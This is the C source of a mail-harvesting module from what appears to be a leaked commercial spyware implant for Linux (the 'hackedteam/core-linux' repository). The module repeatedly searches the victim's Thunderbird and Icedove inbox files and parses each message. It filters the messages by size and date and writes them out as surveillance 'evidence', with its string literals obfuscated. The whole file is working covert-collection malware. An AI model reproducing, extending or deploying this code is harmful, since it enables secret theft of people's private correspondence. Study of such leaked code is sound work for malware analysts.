hackedteam/core-linux

View on GitHub
core/src/module_messages.c

Summary

Maintainability
Test Coverage
#include <unistd.h>
#include <string.h>
#include <glob.h>
#include <linux/limits.h>
#include <openssl/bio.h>
#include <openssl/md5.h>

#include "module.h"
#include "evidencemanager.h"
#include "me.h"
#include "so.h"

#define FOLDER_INBOX 0x0010
#define FOLDER_SENT  0x0100

#define PROGRAM_THUNDERBIRD 0x03

struct additional {
   unsigned int version;
   unsigned int flags;
   unsigned int size;
   unsigned int ltime;
   unsigned int htime;
   unsigned int program;
} __attribute__((packed));

static void thunderbirdmain(void);
static int thunderbirdget(char *mbox, int foldertype);
static int getmail(BIO *bio_data, int foldertype, int program);
static time_t parsedate(char *header);

void *module_messages_main(void *args)
{
   int i = 0;
   fd_set rfds;
   struct timeval tv;

   debugme("Module MESSAGES started\n");

   while(MODULE_MESSAGES.status != MODULE_STOPPING) {
      if(MODULE_MESSAGES_P->enabled) {
         thunderbirdmain();
      }

      FD_ZERO(&rfds);
      FD_SET(MODULE_MESSAGES.event, &rfds);
      tv.tv_sec = 300;
      tv.tv_usec = 0;
      select(MODULE_MESSAGES.event + 1, &rfds, NULL, NULL, &tv);
   }

   debugme("Module MESSAGES stopped\n");

   return NULL;
}

static void thunderbirdmain(void)
{
   glob_t g;
   int i;

   do {
      memset(&g, 0, sizeof(g));
      if(glob(SO"~/.{thunderbird,icedove}/*/{Imap,}Mail/*/I{NBOX,nbox}{,-[1-9]}", GLOB_NOSORT|GLOB_TILDE|GLOB_BRACE, NULL, &g)) break;
      for(i = 0; i < g.gl_pathc; i++) thunderbirdget(g.gl_pathv[i], FOLDER_INBOX);
   } while(0);
   globfree(&g);

#if 0
   /* TODO XXX gestire la localizzazione della cartella della posta inviata */
   do {
      memset(&g, 0, sizeof(g));
      if(glob(SO"~/.{thunderbird,icedove}/*/{Imap,}Mail/*/{*/,}S{ENT,ent}*", GLOB_NOSORT|GLOB_TILDE|GLOB_BRACE, NULL, &g)) break;
      for(i = 0; i < g.gl_pathc; i++) thunderbirdget(g.gl_pathv[i], FOLDER_SENT);
   } while(0);
   globfree(&g);
#endif

   return;
}

static int thunderbirdget(char *mbox, int foldertype)
{
   FILE *fp = NULL;
   char line[4096];
   BIO *bio_data = NULL;
   time_t date = 0;
   int len = 0;
   unsigned char md5[MD5_DIGEST_LENGTH];
   char statusfile[4 + (MD5_DIGEST_LENGTH * 2) + 1];
   int offset = 0;

   do {
      debugme("Mailbox: %s\n", mbox);
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      MD5((unsigned char *)mbox, strlen(mbox), md5);

      snprintf(statusfile, sizeof(statusfile), SO"MM%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
                                               md5[0], md5[1], md5[2], md5[3], md5[4], md5[5], md5[6], md5[7], md5[8], md5[9], md5[10], md5[11], md5[12], md5[13], md5[14], md5[15]);

      do {
         if(!(fp = fopen(statusfile, "r"))) break;
         if(!fgets(line, sizeof(line), fp)) break;
         offset = atoi(line);
      } while(0);
      if(fp) fclose(fp);

      if(!(fp = fopen(mbox, "r"))) break;
      if(offset) fseek(fp, offset, SEEK_SET);

      if(!fgets(line, sizeof(line), fp) || strncmp(line, SO"From ", strlen(SO"From "))) break;

      while(!feof(fp)) {
         if(!fgets(line, sizeof(line), fp)) break;
         if(strncmp(line, SO"From ", strlen(SO"From "))) {
            do {
               if(!strncmp(line, SO"X-Mozilla-Status: ", strlen(SO"X-Mozilla-Status: "))) break;
               if(!strncmp(line, SO"X-Mozilla-Status2: ", strlen(SO"X-Mozilla-Status2: "))) break;
               if(!strncmp(line, SO"Date: ", strlen(SO"Date: "))) date = parsedate(line + strlen(SO"Date: "));
               BIO_write(bio_data, line, strlen(line));
               len += strlen(line);
            } while(0);
            continue;
         } else {
            do {
               debugme("---| MESSAGE FILTERS |---\n");
               debugme("Size: %u (%u max)\n", len, MODULE_MESSAGES_P->maxsize);
               debugme("From: %u (%u min, %u max)\n", date, MODULE_MESSAGES_P->from, MODULE_MESSAGES_P->to);
               /* TODO XXX fare il dequoting del From */
               if(!len || (len > MODULE_MESSAGES_P->maxsize)) break;
               if(date && (MODULE_MESSAGES_P->from != ((time_t) -1)) && (date < MODULE_MESSAGES_P->from)) break;
               if(date && (MODULE_MESSAGES_P->to != ((time_t) -1)) && (date > MODULE_MESSAGES_P->to)) break;
               getmail(bio_data, foldertype, PROGRAM_THUNDERBIRD);
               len = 0;
               date = 0;
            } while(0);
            BIO_reset(bio_data);
         }
      }
      do {
         if(!len || (len > MODULE_MESSAGES_P->maxsize)) break;
         if(date && (MODULE_MESSAGES_P->from != ((time_t) -1)) && (date < MODULE_MESSAGES_P->from)) break;
         if(date && (MODULE_MESSAGES_P->to != ((time_t) -1)) && (date > MODULE_MESSAGES_P->to)) break;
         getmail(bio_data, foldertype, PROGRAM_THUNDERBIRD);
         len = 0;
         date = 0;
      } while(0);
   } while(0);
   if(fp) {
      offset = ftell(fp);
      fclose(fp);
   }
   if(bio_data) BIO_free(bio_data);

   do {
      if(!(fp = fopen(statusfile, "w"))) break;
      fprintf(fp, "%u", offset);
   } while(0);
   if(fp) fclose(fp);

   return 0;
}

static int getmail(BIO *bio_data, int foldertype, int program)
{
   BIO *bio_additional = NULL;
   int additionallen, datalen;
   char *additionalptr, *dataptr;
   struct additional a;

   do {
      if(!(bio_additional = BIO_new(BIO_s_mem()))) break;

      if(!(datalen = BIO_get_mem_data(bio_data, &dataptr))) break;

      a.version = 2012030601;
      a.flags = foldertype;
      a.size = datalen;
      a.ltime = 0;
      a.htime = 0;
      a.program = program;

      if(BIO_write(bio_additional, &a, sizeof(a)) != sizeof(a)) break;

      additionallen = BIO_get_mem_data(bio_additional, &additionalptr);
      datalen = BIO_get_mem_data(bio_data, &dataptr);

      evidence_write(EVIDENCE_TYPE_MAIL, additionalptr, additionallen, dataptr, datalen);
   } while(0);
   if(bio_additional) BIO_free(bio_additional);

   return 0;
}

static time_t parsedate(char *s)
{
   struct tm t;
   char month[4], osign;
   int ohour, omin;
   time_t ret = 0;

   do {
      memset(&t, 0, sizeof(t));
      if(sscanf(s, SO"%*3s, %d %3s %d %d:%d:%d %c%2d%2d", &t.tm_mday, month, &t.tm_year, &t.tm_hour, &t.tm_min, &t.tm_sec, &osign, &ohour, &omin) != 9) break;

      if(!strcmp(month, SO"Jan")) t.tm_mon = 0;
      else if(!strcmp(month, SO"Feb")) t.tm_mon = 1;
      else if(!strcmp(month, SO"Mar")) t.tm_mon = 2;
      else if(!strcmp(month, SO"Apr")) t.tm_mon = 3;
      else if(!strcmp(month, SO"May")) t.tm_mon = 4;
      else if(!strcmp(month, SO"Jun")) t.tm_mon = 5;
      else if(!strcmp(month, SO"Jul")) t.tm_mon = 6;
      else if(!strcmp(month, SO"Aug")) t.tm_mon = 7;
      else if(!strcmp(month, SO"Sep")) t.tm_mon = 8;
      else if(!strcmp(month, SO"Oct")) t.tm_mon = 9;
      else if(!strcmp(month, SO"Nov")) t.tm_mon = 10;
      else if(!strcmp(month, SO"Dec")) t.tm_mon = 11;
      else break;

      t.tm_year -= 1900;

      ret = mktime(&t) + ((osign == '-' ? 1 : -1) * ((ohour * 3600) + (omin * 60)));
   } while(0);

   return ret;
}